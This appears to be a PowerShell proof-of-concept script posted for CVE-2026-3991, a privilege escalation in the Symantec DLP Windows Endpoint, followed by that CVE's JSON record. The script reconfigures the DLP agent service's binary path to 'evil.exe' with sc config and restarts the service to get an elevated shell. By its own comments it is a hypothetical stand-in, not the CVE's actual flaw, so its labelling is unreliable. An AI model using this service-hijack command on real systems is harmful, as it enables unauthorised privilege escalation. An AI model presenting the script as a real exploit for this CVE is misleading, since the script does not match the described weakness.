CVE-2026-3991

# Proof of Concept for CVE-2026-3991 (Privilege Escalation) # This script demonstrates a conceptual local privilege escalation. # Exploiting insecure file permissions or service configuration. $TargetService = "SymantecDLPAgent" $MaliciousBinary = "C:\Windows\System32\evil.exe" # Check if current user is low privileged $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Write-Host "[-] Running as low privileged user. Attempting exploit..." # Hypothetical exploit: Exploiting weak service permissions to restart with malicious payload # In a real scenario, this would involve specific memory corruption or logic bypass try { # Simulating the vulnerability trigger Invoke-Expression -Command "sc config $TargetService binPath= $MaliciousBinary" Start-Service -Name $TargetService -ErrorAction SilentlyContinue Write-Host "[+] Exploit triggered. Check for elevated shell." } catch { Write-Host "[-] Exploit failed." } } else { Write-Host "[!] Already running as Administrator." }

{"cve": {"id": "CVE-2026-3991", "sourceIdentifier": "[email protected]", "published": "2026-03-30T19:16:27.207", "lastModified": "2026-04-01T14:24:21.833", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Symantec Data Loss Prevention Windows Endpoint, prior to 25.1 MP1, 16.1 MP2, 16.0 RU2 HF9, 16.0 RU1 MP1 HF12, and 16.0 MP2 HF15, may be susceptible to a Elevation of Privilege vulnerability, which is a type of issue whereby an attacker may attempt to compromise the software application to gain elevated access to resources that are normally protected from an application or user."}, {"lang": "es", "value": "Symantec Data Loss Prevention Windows Endpoint, anterior a 25.1 MP1, 16.1 MP2, 16.0 RU2 HF9, 16.0 RU1 MP1 HF12 y 16.0 MP2 HF15, puede ser susceptible a una vulnerabilidad de Elevación de Privilegios, que es un tipo de problema mediante el cual un atacante puede intentar comprometer la aplicación de software para obtener acceso elevado a recursos que normalmente están protegidos de una aplicación o usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "references": [{"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/37306", "source": "[email protected]"}]}}